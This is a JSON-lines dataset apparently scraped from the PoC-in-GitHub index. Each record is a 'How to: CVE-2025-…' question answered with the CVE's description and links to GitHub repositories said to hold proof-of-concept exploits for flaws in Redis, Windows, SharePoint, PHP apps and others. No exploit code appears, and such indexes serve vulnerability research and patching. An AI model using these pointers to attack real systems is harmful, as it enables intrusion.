{"id": "gh_df9d7674082a", "question": "How to: CVE-2025-49173", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "- [aliyabuz25/cve-2025-49173-macos-mavericks-10.9-local-root-privesc-auth-services](https://github.com/aliyabuz25/cve-2025-49173-macos-mavericks-10.9-local-root-privesc-auth-services)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.156599"}
{"id": "gh_45eff847b3c7", "question": "How to: CVE-2025-49223 (2025-06-04)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nbillboard.js before 3.15.1 was discovered to contain a prototype pollution via the function generate, which could allow attackers to execute arbitrary code or cause a Denial of Service (DoS) via injecting arbitrary properties.\n```\n- [louay-075/CVE-2025-49223-BillboardJS-PoC](https://github.com/louay-075/CVE-2025-49223-BillboardJS-PoC)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.156603"}
{"id": "gh_01f161f658fb", "question": "How to: CVE-2025-49388 (2025-08-28)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nIncorrect Privilege Assignment vulnerability in kamleshyadav Miraculous Core Plugin allows Privilege Escalation. This issue affects Miraculous Core Plugin: from n/a through 2.0.7.\n```\n- [Nxploited/CVE-2025-49388](https://github.com/Nxploited/CVE-2025-49388)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.156607"}
{"id": "gh_a9705710ee4c", "question": "How to: CVE-2025-49493 (2025-06-30)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nAkamai CloudTest before 60 2025.06.02 (12988) allows file inclusion via XML External Entity (XXE) injection.\n```\n- [Ashwesker/Ashwesker-CVE-2025-49493](https://github.com/Ashwesker/Ashwesker-CVE-2025-49493)\n- [SystemVll/CVE-2025-49493](https://github.com/SystemVll/CVE-2025-49493)\n- [Soham-id/2025hvv](https://github.com/Soham-id/2025hvv)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.156614"}
{"id": "gh_8e7099626016", "question": "How to: CVE-2025-49596 (2025-06-13)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nThe MCP inspector is a developer tool for testing and debugging MCP servers. Versions of MCP Inspector below 0.14.1 are vulnerable to remote code execution due to lack of authentication between the Inspector client and proxy, allowing unauthenticated requests to launch MCP commands over stdio. Users should immediately upgrade to version 0.14.1 or later to address these vulnerabilities.\n```\n- [ashiqrehan-21/MCP-Inspector-CVE-2025-49596](https://github.com/ashiqrehan-21/MCP-Inspector-CVE-2025-49596)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.156619"}
{"id": "gh_9d6e29d52f46", "question": "How to: CVE-2025-49619 (2025-06-07)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nSkyvern through 0.1.85 is vulnerable to server-side template injection (SSTI) in the Prompt field of workflow blocks such as the Navigation v2 Block. Improper sanitization of Jinja2 template input allows authenticated users to inject crafted expressions that are evaluated on the server, leading to blind remote code execution (RCE).\n```\n- [cristibtz/CVE-2025-49619](https://github.com/cristibtz/CVE-2025-49619)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.156623"}
{"id": "gh_ed802e231d29", "question": "How to: CVE-2025-49666 (2025-07-08)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nHeap-based buffer overflow in Windows Kernel allows an authorized attacker to execute code over a network.\n```\n- [17patmaks/My-Sigma-Rule-Collection](https://github.com/17patmaks/My-Sigma-Rule-Collection)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.156627"}
{"id": "gh_a8032e0a06ff", "question": "How to: CVE-2025-49667 (2025-07-08)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nDouble free in Windows Win32K - ICOMP allows an authorized attacker to elevate privileges locally.\n```\n- [Yuri08loveElaina/CVE-2025-49667](https://github.com/Yuri08loveElaina/CVE-2025-49667)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.156632"}
{"id": "gh_f1909a15b006", "question": "How to: CVE-2025-49706 (2025-07-08)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nImproper authentication in Microsoft Office SharePoint allows an unauthorized attacker to perform spoofing over a network.\n```\n- [AdityaBhatt3010/CVE-2025-49706-SharePoint-Spoofing-Vulnerability-Under-Active-Exploitation](https://github.com/AdityaBhatt3010/CVE-2025-49706-SharePoint-Spoofing-Vulnerability-Under-Active-Exploitation)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.156636"}
{"id": "gh_00ca89ea6a74", "question": "How to: CVE-2025-49844 (2025-10-03)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nRedis is an open source, in-memory database that persists on disk. Versions 8.2.1 and below allow an authenticated user to use a specially crafted Lua script to manipulate the garbage collector, trigger a use-after-free and potentially lead to remote code execution. The problem exists in all versions of Redis with Lua scripting. This issue is fixed in version 8.2.2. To workaround this issue without patching the redis-server executable is to prevent users from executing Lua scripts. This can be done using ACL to restrict EVAL and EVALSHA commands.\n```\n- [ksnnd32/redis_exploit](https://github.com/ksnnd32/redis_exploit)\n- [Zain3311/CVE-2025-49844](https://github.com/Zain3311/CVE-2025-49844)\n- [saneki/cve-2025-49844](https://github.com/saneki/cve-2025-49844)\n- [Network-Sec/CVE-2025-49844-RediShell-AI-made-Revshell](https://github.com/Network-Sec/CVE-2025-49844-RediShell-AI-made-Revshell)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.156641"}
{"id": "gh_360aea2147ad", "question": "How to: CVE-2025-50110 (2025-09-15)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nAn issue was discovered in the method push.lite.avtech.com.AvtechLib.GetHttpsResponse in AVTECH EagleEyes Lite 2.0.0, the GetHttpsResponse method transmits sensitive information - including internal server URLs, account IDs, passwords, and device tokens - as plaintext query parameters over HTTPS\n```\n- [shinyColumn/CVE-2025-50110](https://github.com/shinyColumn/CVE-2025-50110)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.156645"}
{"id": "gh_06ef539ff2af", "question": "How to: CVE-2025-50154 (2025-08-12)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nExposure of sensitive information to an unauthorized actor in Windows File Explorer allows an unauthorized attacker to perform spoofing over a network.\n```\n- [zenzue/CVE-2025-50154](https://github.com/zenzue/CVE-2025-50154)\n- [rubenformation/CVE-2025-50154](https://github.com/rubenformation/CVE-2025-50154)\n- [Ash1996x/CVE-2025-50154-Aggressor-Script](https://github.com/Ash1996x/CVE-2025-50154-Aggressor-Script)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.156650"}
{"id": "gh_d2601c3f92ab", "question": "How to: CVE-2025-50165 (2025-08-12)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nUntrusted pointer dereference in Microsoft Graphics Component allows an unauthorized attacker to execute code over a network.\n```\n- [encrypter15/CVE-2025-50165-x64-Exploit](https://github.com/encrypter15/CVE-2025-50165-x64-Exploit)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.156655"}
{"id": "gh_b10933d6567a", "question": "How to: CVE-2025-50286 (2025-08-06)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nA Remote Code Execution (RCE) vulnerability in Grav CMS v1.7.48 allows an authenticated admin to upload a malicious plugin via the /admin/tools/direct-install interface. Once uploaded, the plugin is automatically extracted and loaded, allowing arbitrary PHP code execution and reverse shell access.\n```\n- [binneko/CVE-2025-50286](https://github.com/binneko/CVE-2025-50286)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.156661"}
{"id": "gh_fd75a7db6bd1", "question": "How to: CVE-2025-50340 (2025-08-04)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nAn Insecure Direct Object Reference (IDOR) vulnerability was discovered in SOGo Webmail thru 5.6.0, allowing an authenticated user to send emails on behalf of other users by manipulating a user-controlled identifier in the email-sending request. The server fails to verify whether the authenticated user is authorized to use the specified sender identity, resulting in unauthorized message delivery as another user. This can lead to impersonation, phishing, or unauthorized communication within the system. NOTE: this is disputed by the Supplier because the only effective way to prevent this sender spoofing is on the SMTP server, not within a client such as SOGo.\n```\n- [millad7/SOGo_web_mail-vulnerability-CVE-2025-50340](https://github.com/millad7/SOGo_web_mail-vulnerability-CVE-2025-50340)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.156670"}
{"id": "gh_7ade1dd9754a", "question": "How to: CVE-2025-50341 (2025-08-04)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nA Boolean-based SQL injection vulnerability was discovered in Axelor 5.2.4 via the _domain parameter. An attacker can manipulate the SQL query logic and determine true/false conditions, potentially leading to data exposure or further exploitation.\n```\n- [millad7/Axelor-vulnerability-CVE-2025-50341](https://github.com/millad7/Axelor-vulnerability-CVE-2025-50341)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.156675"}
{"id": "gh_36cdee9ae90c", "question": "How to: CVE-2025-50360 (2025-12-03)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nA heap buffer overflow in compiler.c and compiler.h in Pepper language 0.1.1commit 961a5d9988c5986d563310275adad3fd181b2bb7. Malicious execution of a pepper source file(.pr) could lead to arbitrary code execution or Denial of Service.\n```\n- [Ch1keen/CVE-2025-50360](https://github.com/Ch1keen/CVE-2025-50360)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.156679"}
{"id": "gh_cdbb76155513", "question": "How to: CVE-2025-50361 (2025-12-03)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nBuffer Overflow was found in SmallBASIC community SmallBASIC with SDL Before v12_28, and commit sha:298a1d495355959db36451e90a0ac74bcc5593fe in the function main.cpp, which can lead to potential information leakage and crash.\n```\n- [Ch1keen/CVE-2025-50361](https://github.com/Ch1keen/CVE-2025-50361)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.156685"}
{"id": "gh_ab8fb2f8050a", "question": "How to: CVE-2025-50363 (2025-11-03)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nPhpgurukul Maid Hiring Management System 1.0 is vulnerable to Cross Site Scripting (XSS) in /maid-hiring.php va the name field.\n```\n- [1h3ll/CVE-2025-50363_BXSS_CVE](https://github.com/1h3ll/CVE-2025-50363_BXSS_CVE)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.156689"}
{"id": "gh_7873ec274a77", "question": "How to: CVE-2025-50364", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "- [1h3ll/CVE-2025-50364_CSRF_ADD_CATEGORY-phpgurukul-CVE](https://github.com/1h3ll/CVE-2025-50364_CSRF_ADD_CATEGORY-phpgurukul-CVE)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.156693"}
{"id": "gh_0cf414fd3751", "question": "How to: CVE-2025-50365", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "- [1h3ll/CVE-2025-50365_CSRF_DELETE_CATEGORY-phpgurukul-CVE](https://github.com/1h3ll/CVE-2025-50365_CSRF_DELETE_CATEGORY-phpgurukul-CVE)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.156697"}
{"id": "gh_1b0c8fef9c04", "question": "How to: CVE-2025-50383 (2025-08-25)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nalextselegidis Easy!Appointments v1.5.1 was discovered to contain a SQL injection vulnerability via the order_by parameter.\n```\n- [Abdullah4eb/CVE-2025-50383](https://github.com/Abdullah4eb/CVE-2025-50383)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.156701"}
{"id": "gh_4007f0fd74e4", "question": "How to: CVE-2025-50420 (2025-08-04)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nAn issue in the pdfseparate utility of freedesktop poppler v25.04.0 allows attackers to cause an infinite recursion via supplying a crafted PDF file. This can lead to a Denial of Service (DoS).\n```\n- [Landw-hub/CVE-2025-50420](https://github.com/Landw-hub/CVE-2025-50420)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.156707"}
{"id": "gh_ba2801d4a57b", "question": "How to: CVE-2025-50422 (2025-08-04)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nCairo through 1.18.4, as used in Poppler through 25.08.0, has an \"unscaled->face == NULL\" assertion failure for _cairo_ft_unscaled_font_fini in cairo-ft-font.c.\n```\n- [Landw-hub/CVE-2025-50422](https://github.com/Landw-hub/CVE-2025-50422)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.156712"}
{"id": "gh_13a937f5ba34", "question": "How to: CVE-2025-50428 (2025-08-27)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nIn RaspAP raspap-webgui 3.3.2 and earlier, a command injection vulnerability exists in the includes/hostapd.php script. The vulnerability is due to improper sanitizing of user input passed via the interface parameter.\n```\n- [security-smarttecs/cve-2025-50428](https://github.com/security-smarttecs/cve-2025-50428)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.156716"}
{"id": "gh_025304d4173c", "question": "How to: CVE-2025-50433 (2025-11-26)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nAn issue was discovered in imonnit.com (2025-04-24) allowing malicious actors to gain escalated privileges via crafted password reset to take over arbitrary user accounts.\n```\n- [0xMandor/CVE-2025-50433](https://github.com/0xMandor/CVE-2025-50433)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.156720"}
{"id": "gh_786f68f33157", "question": "How to: CVE-2025-50460 (2025-08-01)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nA remote code execution (RCE) vulnerability exists in the ms-swift project version 3.3.0 due to unsafe deserialization in tests/run.py using yaml.load() from the PyYAML library (versions = 5.3.1). If an attacker can control the content of the YAML configuration file passed to the --run_config parameter, arbitrary code can be executed during deserialization. This can lead to full system compromise. The vulnerability is triggered when a malicious YAML file is loaded, allowing the execution of arbitrary Python commands such as os.system(). It is recommended to upgrade PyYAML to version 5.4 or higher, and to use yaml.safe_load() to mitigate the issue.\n```\n- [Anchor0221/CVE-2025-50460](https://github.com/Anchor0221/CVE-2025-50460)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.156725"}
{"id": "gh_324284242556", "question": "How to: CVE-2025-50461 (2025-08-19)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nA deserialization vulnerability exists in Volcengine's verl 3.0.0, specifically in the scripts/model_merger.py script when using the \"fsdp\" backend. The script calls torch.load() with weights_only=False on user-supplied .pt files, allowing attackers to execute arbitrary code if a maliciously crafted model file is loaded. An attacker can exploit this by convincing a victim to download and place a malicious model file in a local directory with a specific filename pattern. This vulnerability may lead to arbitrary code execution with the privileges of the user running the script.\n```\n- [Anchor0221/CVE-2025-50461](https://github.com/Anchor0221/CVE-2025-50461)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.156730"}
{"id": "gh_02c703abd10c", "question": "How to: CVE-2025-50472 (2025-08-01)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nThe modelscope/ms-swift library thru 2.6.1 is vulnerable to arbitrary code execution through deserialization of untrusted data within the `load_model_meta()` function of the `ModelFileSystemCache()` class. Attackers can execute arbitrary code and commands by crafting a malicious serialized `.mdl` payload, exploiting the use of `pickle.load()` on data from potentially untrusted sources. This vulnerability allows for remote code execution (RCE) by deceiving victims into loading a seemingly harmless checkpoint during a normal training process, thereby enabling attackers to execute arbitrary code on the targeted machine. Note that the payload file is a hidden file, making it difficult for the victim to detect tampering. More importantly, during the model training process, after the `.mdl` file is loaded and executes arbitrary code, the normal training process remains unaffected'meaning the user remains unaware of the arbitrary code execution.\n```\n- [xhjy2020/CVE-2025-50472](https://github.com/xhjy2020/CVE-2025-50472)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.156735"}
{"id": "gh_b3169c85f7e9", "question": "How to: CVE-2025-50481 (2025-07-23)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nA cross-site scripting (XSS) vulnerability in the component /blog/blogpost/add of Mezzanine CMS v6.1.0 allows attackers to execute arbitrary web scripts or HTML via injecting a crafted payload into a blog post.\n```\n- [kevinpdicks/Mezzanine-CMS-6.1.0-XSS](https://github.com/kevinpdicks/Mezzanine-CMS-6.1.0-XSS)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.156740"}
{"id": "gh_4f651cbaf87a", "question": "How to: CVE-2025-50505 (2025-10-07)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nClash Verge Rev thru 2.2.3 forces the installation of system services(clash-verge-service) by default and exposes key functions through the unauthorized HTTP API `/start_clash`, allowing local users to submit arbitrary bin_path parameters and pass them directly to the service process for execution, resulting in local privilege escalation.\n```\n- [bron1e/CVE-2025-50505](https://github.com/bron1e/CVE-2025-50505)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.156744"}
{"id": "gh_4c71055d7adb", "question": "How to: CVE-2025-50565 (2025-09-02)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nDoubo ERP 1.0 has an SQL injection vulnerability due to a lack of filtering of user input, which can be remotely initiated by an attacker.\n```\n- [OoO7ce/CVE-2025-50565](https://github.com/OoO7ce/CVE-2025-50565)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.156750"}
{"id": "gh_ff0265533307", "question": "How to: CVE-2025-50592 (2025-08-05)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nCross site scripting vulnerability in seacms before 13.2 via the vid parameter to Upload/js/player/dmplayer/player.\n```\n- [1515601525/CVE-2025-50592](https://github.com/1515601525/CVE-2025-50592)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.156754"}
{"id": "gh_85851f6720dc", "question": "How to: CVE-2025-50675 (2025-08-07)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nGPMAW 14, a bioinformatics software, has a critical vulnerability related to insecure file permissions in its installation directory. The directory is accessible with full read, write, and execute permissions for all users, allowing unprivileged users to manipulate files within the directory, including executable files like GPMAW3.exe, Fragment.exe, and the uninstaller GPsetup64_17028.exe. An attacker with user-level access can exploit this misconfiguration by replacing or modifying the uninstaller (GPsetup64_17028.exe) with a malicious version. While the application itself runs in the user's context, the uninstaller is typically executed with administrative privileges when an administrator attempts to uninstall the software. By exploiting this flaw, an attacker could gain administrative privileges and execute arbitrary code in the context of the admin, resulting in privilege escalation.\n```\n- [LukeSec/CVE-2025-50675-GPMAW-Permissions](https://github.com/LukeSec/CVE-2025-50675-GPMAW-Permissions)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.156760"}
{"id": "gh_bfbd0aacc0fa", "question": "How to: CVE-2025-50754 (2025-08-04)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nUnisite CMS version 5.0 contains a stored Cross-Site Scripting (XSS) vulnerability in the \"Report\" functionality. A malicious script submitted by an attacker is rendered in the admin panel when viewed by an administrator. This allows attackers to hijack the admin session and, by leveraging the template editor, upload and execute a PHP web shell on the server, leading to full remote code execution.\n```\n- [furk4nyildiz/CVE-2025-50754-PoC](https://github.com/furk4nyildiz/CVE-2025-50754-PoC)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.156765"}
{"id": "gh_b75406b3b165", "question": "How to: CVE-2025-50777 (2025-07-30)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nThe firmware of the AZIOT 2MP Full HD Smart Wi-Fi CCTV Home Security Camera (version V1.00.02) contains an Incorrect Access Control vulnerability that allows local attackers to gain root shell access. Once accessed, the device exposes critical data including Wi-Fi credentials and ONVIF service credentials stored in plaintext, enabling further compromise of the network and connected systems.\n```\n- [veereshgadige/aziot-cctv-cve-2025-50777](https://github.com/veereshgadige/aziot-cctv-cve-2025-50777)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.156771"}
{"id": "gh_b51ca2a95af6", "question": "How to: CVE-2025-50866 (2025-07-31)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nCloudClassroom-PHP-Project 1.0 contains a reflected Cross-site Scripting (XSS) vulnerability in the email parameter of the postquerypublic endpoint. Improper sanitization allows an attacker to inject arbitrary JavaScript code that executes in the context of the user s browser, potentially leading to session hijacking or phishing attacks.\n```\n- [SacX-7/CVE-2025-50866](https://github.com/SacX-7/CVE-2025-50866)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.156776"}
{"id": "gh_7fd9c919c88a", "question": "How to: CVE-2025-50867 (2025-07-31)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nA SQL Injection vulnerability exists in the takeassessment2.php endpoint of the CloudClassroom-PHP-Project 1.0, where the Q5 POST parameter is directly embedded in SQL statements without sanitization.\n```\n- [SacX-7/CVE-2025-50867](https://github.com/SacX-7/CVE-2025-50867)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.156780"}
{"id": "gh_a9c8d72f97a6", "question": "How to: CVE-2025-50944 (2025-09-15)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nAn issue was discovered in the method push.lite.avtech.com.MySSLSocketFactoryNew.checkServerTrusted in AVTECH EagleEyes 2.0.0. The custom X509TrustManager used in checkServerTrusted only checks the certificate's expiration date, skipping proper TLS chain validation.\n```\n- [shinyColumn/CVE-2025-50944](https://github.com/shinyColumn/CVE-2025-50944)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.156784"}
{"id": "gh_438c7eb92a04", "question": "How to: CVE-2025-51005 (2025-09-23)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nA heap-buffer-overflow vulnerability exists in the tcpliveplay utility of the tcpreplay-4.5.1. When a crafted pcap file is processed, the program incorrectly handles memory in the checksum calculation logic at do_checksum_math_liveplay in tcpliveplay.c, leading to a possible denial of service.\n```\n- [sy460129/CVE-2025-51005](https://github.com/sy460129/CVE-2025-51005)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.156789"}
